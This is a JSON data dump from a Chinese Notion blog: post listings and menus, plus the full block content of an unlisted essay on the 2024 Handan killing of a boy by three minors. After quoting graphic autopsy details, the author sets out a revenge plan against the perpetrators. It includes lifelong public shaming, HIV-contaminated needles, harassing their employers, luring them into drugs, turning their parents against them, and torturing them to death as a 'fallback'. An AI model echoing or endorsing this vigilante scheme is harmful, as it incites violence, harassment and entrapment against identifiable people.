humbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}],"blockMap":{"block":{"62779828-3770-4944-923d-0e0a307d9cfe":{"value":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","version":647,"type":"page","content":["68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","9203ae03-d45c-4f73-9780-c4a596383e62","54ae27d7-911b-432f-a21c-d89add64c4b7","e69c165b-bc10-477e-9ea9-77e2d3c3a97f","9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","c1011ac4-c92c-4417-bfaa-aa9a99b9a333","3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","12df1d73-0b3b-468f-be78-4085aa672e7e","065d82bc-b9b8-4a23-8301-0a7184f6555e","49e2b9c2-57cf-4903-b023-891390a5f5e6","e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","c387abb8-0f80-4386-b76a-62d9a062aace","4378f4a3-7730-400b-85c9-7ad572373c02","6f6df956-6233-41e1-b8b6-04276df78565","39239fb6-ff0b-4a2b-aaab-256e40ef3929","9d3fc26e-b533-4151-8e93-4ee92ef74512","39104598-89f2-4f9d-b873-fce46e305dce","e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","8c917035-dac2-4707-8333-347a39998592","4b61301c-9884-462c-ad6c-d7fd8447cd47","75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","db2f6108-70f4-48de-86ca-b786f1a84a61"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711119078976,"last_edited_time":1711285869207,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6":{"value":{"id":"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"9203ae03-d45c-4f73-9780-c4a596383e62":{"value":{"id":"9203ae03-d45c-4f73-9780-c4a596383e62","type":"header","properties":{"title":[["愤怒"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119599647,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"54ae27d7-911b-432f-a21c-d89add64c4b7":{"value":{"id":"54ae27d7-911b-432f-a21c-d89add64c4b7","type":"image","properties":{"size":[["216.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png"]]},"format":{"block_width":630,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3726541554959786,"block_preserve_scale":true},"created_time":1711119591167,"last_edited_time":1711119596222,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["7b3fc4da-dd05-483c-99f8-65ecd595269c"]}},"e69c165b-bc10-477e-9ea9-77e2d3c3a97f":{"value":{"id":"e69c165b-bc10-477e-9ea9-77e2d3c3a97f","type":"quote","properties":{"title":[["2024年3月11日下午4:00,河北-邯郸-肥乡区-北高镇张庄村,警方发现了失踪了二十几个小时[王子耀]的尸体。\n\n2024年3月18日,[王子耀]父亲和臧梵清律师共同见证了尸检的过程。"]]},"created_time":1711119659021,"last_edited_time":1711120615725,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa":{"value":{"id":"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","type":"header","properties":{"title":[["思考"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711122036789,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"c1011ac4-c92c-4417-bfaa-aa9a99b9a333":{"value":{"id":"c1011ac4-c92c-4417-bfaa-aa9a99b9a333","type":"text","properties":{"title":[["这几天来来回回刷,看臧梵清律师采访,看[王子耀]父亲采访,看社会各界评论,追海内外事件报道。我无法压抑心中的怒火,我清楚3名畜生的结局。他们一定会在出狱后某个傍晚就着啤酒哄笑到,那次谁下手最狠,谁又是怂逼。"]]},"created_time":1711119881948,"last_edited_time":1711120592022,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613":{"value":{"id":"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","type":"quote","properties":{"title":[["臧梵清律师采访 —《澎湃新闻》\n\n“脸部 从这个位置 一直到这个位置”\n“大概有十处刀伤 钝器物的伤口”\n“有可能是铁锹铲进去的”\n“有的这么长 有的这么长”\n“有的这么深”\n”一只眼睛的眼珠子已经翻出来了”\n”颈部 我数了一下大概有七道(伤痕)”\n”腰部大概有七八道 一开始我以为是棍子打击的”\n”后来开腹打开之后”\n”肝脏后面有这么大的一个出血口”\n”前面没有问题”\n”很有可能是从后面 有小孔贯穿进去”\n”[王子耀]的一只手 食指肿胀发青”\n”这个手这个位置断裂”\n"]]},"created_time":1711120599335,"last_edited_time":1711121099509,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"12df1d73-0b3b-468f-be78-4085aa672e7e":{"value":{"id":"12df1d73-0b3b-468f-be78-4085aa672e7e","type":"text","properties":{"title":[["我快丧失理智了,我这几天脑子里始终在复盘如何上刑才能解我心头之恨。"]]},"created_time":1711120805875,"last_edited_time":1711121164966,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"065d82bc-b9b8-4a23-8301-0a7184f6555e":{"value":{"id":"065d82bc-b9b8-4a23-8301-0a7184f6555e","type":"text","properties":{"title":[["我是极端tryCatch爱好者,我会考虑许多不管概率大小的潜在风险。我下意识的会去想我该怎么办,我是这名父亲我该怎么办。"]]},"created_time":1711121165754,"last_edited_time":1711121286007,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"49e2b9c2-57cf-4903-b023-891390a5f5e6":{"value":{"id":"49e2b9c2-57cf-4903-b023-891390a5f5e6","type":"image","properties":{"size":[["185.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png"]]},"format":{"block_width":590,"block_height":416,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.7050847457627119,"block_preserve_scale":true},"created_time":1711121304072,"last_edited_time":1711121307405,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["e645683e-cc5d-4e34-8f89-2190f4ff0a97"]}},"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887":{"value":{"id":"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","type":"text","properties":{"title":[["由于三名畜生都是未成年,死刑不可能,就算万民血书,也不能专开这个口子。"]]},"created_time":1711120647926,"last_edited_time":1711121567909,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4":{"value":{"id":"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","type":"text","properties":{"title":[["杀人偿命确实天经地义,可中国太大了,每天形形色色的犯罪数不胜数,未成年被保护不受死刑,可以避免许多冤假错案。试想我的12岁孩子如果被特权阶层威逼杀人,没有舆论,严刑逼供,直接判成恶性故意杀人铁案。"]]},"created_time":1711121599935,"last_edited_time":1711122045243,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c387abb8-0f80-4386-b76a-62d9a062aace":{"value":{"id":"c387abb8-0f80-4386-b76a-62d9a062aace","type":"header","properties":{"title":[["如何"]]},"created_time":1711122045243,"last_edited_time":1711122053899,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4378f4a3-7730-400b-85c9-7ad572373c02":{"value":{"id":"4378f4a3-7730-400b-85c9-7ad572373c02","type":"quote","properties":{"title":[["[王子耀]父亲采访 —《看看新闻》\n\n“我不甘心”\n“我就要弄清楚”\n“我这么好的一个孩子”\n"]]},"created_time":1711122058327,"last_edited_time":1711122198938,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"6f6df956-6233-41e1-b8b6-04276df78565":{"value":{"id":"6f6df956-6233-41e1-b8b6-04276df78565","type":"text","properties":{"title":[["我当然只想杀了这三个狗日的,但是我不能这样做,这样不能利益最大化。\n我要把愤怒转化成一个极其精密的复仇工程。\n我会一辈子游走在法律边缘,让这三个畜生从头到尾的毁灭才是我最大的动力。"]]},"created_time":1711120628009,"last_edited_time":1711122385872,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39239fb6-ff0b-4a2b-aaab-256e40ef3929":{"value":{"id":"39239fb6-ff0b-4a2b-aaab-256e40ef3929","type":"text","properties":{"title":[["\n来,你们三个畜生看着我眼睛:\n我会让你持续在高压的舆论环境中社会性死亡\n在日日夜夜的街头,你总能踩到艾滋病毒的针头"]]},"created_time":1711122386421,"last_edited_time":1711122713684,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9d3fc26e-b533-4151-8e93-4ee92ef74512":{"value":{"id":"9d3fc26e-b533-4151-8e93-4ee92ef74512","type":"text","properties":{"title":[["你隐姓埋名进的每一个黑厂,第二天老板都会收到莫名的电话轰炸"]]},"created_time":1711122809122,"last_edited_time":1711122868371,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39104598-89f2-4f9d-b873-fce46e305dce":{"value":{"id":"39104598-89f2-4f9d-b873-fce46e305dce","type":"text","properties":{"title":[["你父母也必须社会性死亡,家庭每天充斥的都是悦耳的争吵\n他们把所有家庭的不幸,都怪罪于你"]]},"created_time":1711122583422,"last_edited_time":1711122899994,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2":{"value":{"id":"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","type":"text","properties":{"title":[["可是你没错,你现在成年了,拿着这把铁锹直接挥向他们"]]},"created_time":1711122902623,"last_edited_time":1711122963327,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e":{"value":{"id":"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","type":"text","properties":{"title":[["你一定忍不住尝一口drug,你是忍不住的,不是我强行喂的\n你没钱了啊,你非要去送这一单drug\n没办法,叔叔那边缺点任务指标"]]},"created_time":1711122725898,"last_edited_time":1711122971616,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"8c917035-dac2-4707-8333-347a39998592":{"value":{"id":"8c917035-dac2-4707-8333-347a39998592","type":"text","properties":{"title":[["\n如果以上方法效果我不满意,必须有兜底机制,折磨致死也不迟。"]]},"created_time":1711122680017,"last_edited_time":1711123114185,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4b61301c-9884-462c-ad6c-d7fd8447cd47":{"value":{"id":"4b61301c-9884-462c-ad6c-d7fd8447cd47","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1":{"value":{"id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","type":"column_list","content":["e47e97cd-2e5a-4f01-86c9-297f278a012c","5396a260-c16a-4da5-9324-b64f4d1a4f46","c28bcbf2-1f56-480b-be97-471efef9a57b"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e47e97cd-2e5a-4f01-86c9-297f278a012c":{"value":{"id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","type":"column","content":["1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"5396a260-c16a-4da5-9324-b64f4d1a4f46":{"value":{"id":"5396a260-c16a-4da5-9324-b64f4d1a4f46","type":"column","content":["b970c508-ada6-4cd2-be36-58fcc1de9201","82610ac2-030e-4a50-b944-af1127776438"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"c28bcbf2-1f56-480b-be97-471efef9a57b":{"value":{"id":"c28bcbf2-1f56-480b-be97-471efef9a57b","type":"column","content":["86091e65-5361-476b-a0dc-7b3e61614386"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time"